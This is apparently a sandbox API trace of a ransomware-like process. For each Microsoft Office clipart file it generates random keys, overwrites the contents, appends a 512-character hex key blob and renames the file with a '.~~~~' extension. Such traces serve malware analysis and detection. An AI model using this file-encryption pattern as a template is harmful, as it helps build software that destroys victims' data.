	[0089.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.892] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20988252544) returned 1
	[0089.892] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f5ac4b0, dwHighDateTime=0x1d60e1e)) 
	[0089.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fa90
	[0089.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.893] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fa90 | out: hHeap=0x300000) returned 1
	[0089.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.893] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.893] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37e160
	[0089.893] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.893] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.893] GetLastError () returned 0x0
	[0089.893] GetLastError () returned 0x0
	[0089.893] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.893] GetLastError () returned 0x0
	[0089.893] GetLastError () returned 0x0
	[0089.900] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff960, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.900] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x6a0, lpOverlapped=0x0) returned 1
	[0089.901] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.901] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.901] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.901] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.901] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.901] CloseHandle (hObject=0x11c) returned 1
	[0089.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.901] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.~~~~")) returned 1
	[0089.901] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.902] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.902] GetLastError () returned 0x0
	[0089.902] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.903] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.903] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.903] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20989280692) returned 1
	[0089.903] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f5d2610, dwHighDateTime=0x1d60e1e)) 
	[0089.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fb00
	[0089.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fb00 | out: hHeap=0x300000) returned 1
	[0089.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37e290
	[0089.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.903] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.903] GetLastError () returned 0x0
	[0089.903] GetLastError () returned 0x0
	[0089.903] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.904] GetLastError () returned 0x0
	[0089.904] GetLastError () returned 0x0
	[0089.908] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff06e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.908] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xf92, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0xf92, lpOverlapped=0x0) returned 1
	[0089.908] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.910] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.910] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.910] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.910] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.911] CloseHandle (hObject=0x11c) returned 1
	[0089.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.911] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.~~~~")) returned 1
	[0089.912] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.912] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.912] GetLastError () returned 0x0
	[0089.912] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.913] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.913] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.913] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20990307137) returned 1
	[0089.913] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f5f8770, dwHighDateTime=0x1d60e1e)) 
	[0089.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fb70
	[0089.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fb70 | out: hHeap=0x300000) returned 1
	[0089.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37e3c0
	[0089.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.913] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.914] GetLastError () returned 0x0
	[0089.914] GetLastError () returned 0x0
	[0089.914] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.914] GetLastError () returned 0x0
	[0089.914] GetLastError () returned 0x0
	[0089.917] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffdba8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.918] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x2458, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x2458, lpOverlapped=0x0) returned 1
	[0089.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.918] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.918] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.918] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.918] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.918] CloseHandle (hObject=0x11c) returned 1
	[0089.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.918] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.~~~~")) returned 1
	[0089.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.919] GetLastError () returned 0x0
	[0089.919] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.920] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363030 | out: pbBuffer=0x363030) returned 1
	[0089.920] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363030 | out: hHeap=0x300000) returned 1
	[0089.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.920] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20991057695) returned 1
	[0089.921] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f5f8770, dwHighDateTime=0x1d60e1e)) 
	[0089.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fba8
	[0089.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0089.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fba8 | out: hHeap=0x300000) returned 1
	[0089.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0089.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37e4f0
	[0089.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.921] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.921] GetLastError () returned 0x0
	[0089.921] GetLastError () returned 0x0
	[0089.921] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.921] GetLastError () returned 0x0
	[0089.922] GetLastError () returned 0x0
	[0089.923] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff048, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.923] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xfb8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0xfb8, lpOverlapped=0x0) returned 1
	[0089.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.923] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.924] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.924] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.924] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.924] CloseHandle (hObject=0x11c) returned 1
	[0089.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.924] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.~~~~")) returned 1
	[0089.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.925] GetLastError () returned 0x0
	[0089.925] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.925] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363030 | out: pbBuffer=0x363030) returned 1
	[0089.926] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363030 | out: hHeap=0x300000) returned 1
	[0089.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.926] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20991578250) returned 1
	[0089.926] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f5f8770, dwHighDateTime=0x1d60e1e)) 
	[0089.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fbe0
	[0089.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fbe0 | out: hHeap=0x300000) returned 1
	[0089.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37e588
	[0089.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.926] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.926] GetLastError () returned 0x0
	[0089.926] GetLastError () returned 0x0
	[0089.927] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.927] GetLastError () returned 0x0
	[0089.927] GetLastError () returned 0x0
	[0089.929] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffc794, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.929] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x386c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x386c, lpOverlapped=0x0) returned 1
	[0089.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.929] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.929] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.930] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.930] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.930] CloseHandle (hObject=0x11c) returned 1
	[0089.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.930] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.~~~~")) returned 1
	[0089.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.931] GetLastError () returned 0x0
	[0089.931] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
